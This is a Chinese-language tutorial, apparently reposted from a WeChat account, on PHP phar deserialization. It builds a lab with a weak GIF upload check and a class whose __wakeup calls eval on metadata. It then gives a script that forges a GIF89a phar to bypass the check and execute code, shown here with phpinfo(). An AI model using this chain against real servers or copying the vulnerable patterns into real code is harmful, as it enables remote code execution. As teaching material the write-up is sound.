#############################
免责声明:本文仅作收藏学习之用,亦希望大家以遵守《网络安全法》相关法律为前提学习,切勿用于非法犯罪活动,对于恶意使用造成的损失,和本人及作者无关。
##############################
记录一下phar的反序列化
phar简介
phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件
phar文件结构
(1)stub
一个供phar扩展用于识别的标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
(2)manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
(3)contents
被压缩文件的内容。
(4)signature
签名,放在文件末尾。
使用phar的前提
因为我们现在需要创建Phar文件,所以需要允许写入Phar文件,这需要修改一下apache2和cli下的php.ini,将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
简单的demo
phar.php
1 2 3 4 5 6 7 8 9 10 11
|
<?php class Test { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $o -> data='Glarcy'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering();
|
执行phar.php会生成一个phar文件,查看phar文件,可以明显的看到meta-data是以序列化的形式存储的
![phar的利用 phar的利用]()
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化
index.php
1 2 3 4 5 6 7 8
|
<?php class Test{ function __destruct() { echo $this -> data; } } include('phar://phar.phar');
|
访问index.php就能看到输出效果,验证了使用phar://伪协议解析phar文件时确实进行了反序列化操作
![phar的利用 phar的利用]()
漏洞点
phar反序列化漏洞的漏洞点在于使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化;当Metadata内容可由用户控制,则会存在反序列化漏洞风险。
利用条件
绕过文件检测
环境搭建
upload.html
1 2 3 4 5 6 7 8 9 10 11 12
|
<!DOCTYPE html> <html> <head> <title>upload</title> </head> <body> <form action='upload.php' method='POST' enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value='upload'> </form> </body> </html>
|
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Type: " . $_FILES["file"]["type"] . "<br>";
if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
|
unserialize.php
1 2 3 4 5 6 7 8 9
|
<?php $filename=$_GET['filename']; class glarcy{ var $data='Hello,Glarcy'; function __wakeup(){ eval($this->data); } } file_exists($filename);
|
首先根据unserialize.php创建一个phar文件,由于只允许上传gif文件,因此我们需要在setStub()函数前面添加伪造其他格式文件的标志性内容
glarcy.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
<?php class glarcy{ var $data='Hello,Glarcy'; function __wakeup(){ eval($this->data); } } $phar = new Phar("glarcy.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub $o = new glarcy(); $o -> data='phpinfo();'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering();
|
运行glarcy.php会生成一个glarcy.phar,查看此文件类型,可以看到确实变成了gif
![phar的利用 phar的利用]()
修改phar后缀为gif,将此文件上传,成功上传
![phar的利用 phar的利用]()
在unserialize.php中利用,发现运行成功
![phar的利用 phar的利用]()
参考链接:
https://paper.seebug.org/680/#23-phar
原文始发于微信公众号(菜鸟小新):phar的利用
评论